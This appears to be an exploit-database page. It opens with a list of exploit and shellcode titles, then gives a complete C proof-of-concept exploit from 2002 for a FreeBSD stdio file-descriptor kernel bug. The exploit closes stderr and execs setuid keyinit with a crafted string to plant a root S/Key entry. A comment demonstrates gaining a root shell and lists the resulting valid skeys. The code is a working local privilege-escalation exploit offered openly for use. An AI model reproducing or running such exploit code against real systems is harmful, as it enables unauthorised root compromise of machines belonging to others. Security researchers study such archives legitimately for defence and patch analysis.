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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
47 lines
No EOL
1.5 KiB
C
47 lines
No EOL
1.5 KiB
C
/*
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source: https://www.securityfocus.com/bid/4568/info
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It has been reported that BSD-based kernels do not check to ensure that the C library standard I/O file descriptors 0-2 are valid open files before exec()ing setuid images. Consequently, I/O that are opened by a setuid process may be assigned file descriptors equivelent to those used by the C library as 'standard input','standard output', and 'standard error'.
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This may result in untrusted, attacker supplied data being written to sensitive I/O channels. Local root compromise has been confirmed as a possible consequence.
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*/
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/*
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phased/b10z
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phased@snosoft.com
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23/04/2002
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stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE
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decided to make a trivial exploit to easily get root :)
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> id
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uid=1003(phased) gid=999(phased) groups=999(phased)
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> ./iosmash
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Adding phased:
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<--- HIT CTRL-C --->
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> su
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s/key 98 snosoft2
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Password:MASS OAT ROLL TOOL AGO CAM
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xes#
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this program makes the following skeys valid
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95: CARE LIVE CARD LOFT CHIC HILL
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96: TESS OIL WELD DUD MUTE KIT
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97: DADE BED DRY JAW GRAB NOV
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98: MASS OAT ROLL TOOL AGO CAM
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99: DARK LEW JOLT JIVE MOS WHO
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http://www.snosoft.com
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cheers Joost Pol
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*/
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#include <stdio.h>
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#include <unistd.h>
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int main(int argc, char *argv[]) {
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while(dup(1) != -1);
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close(2);
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execl("/usr/bin/keyinit",
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"\nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n");
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} |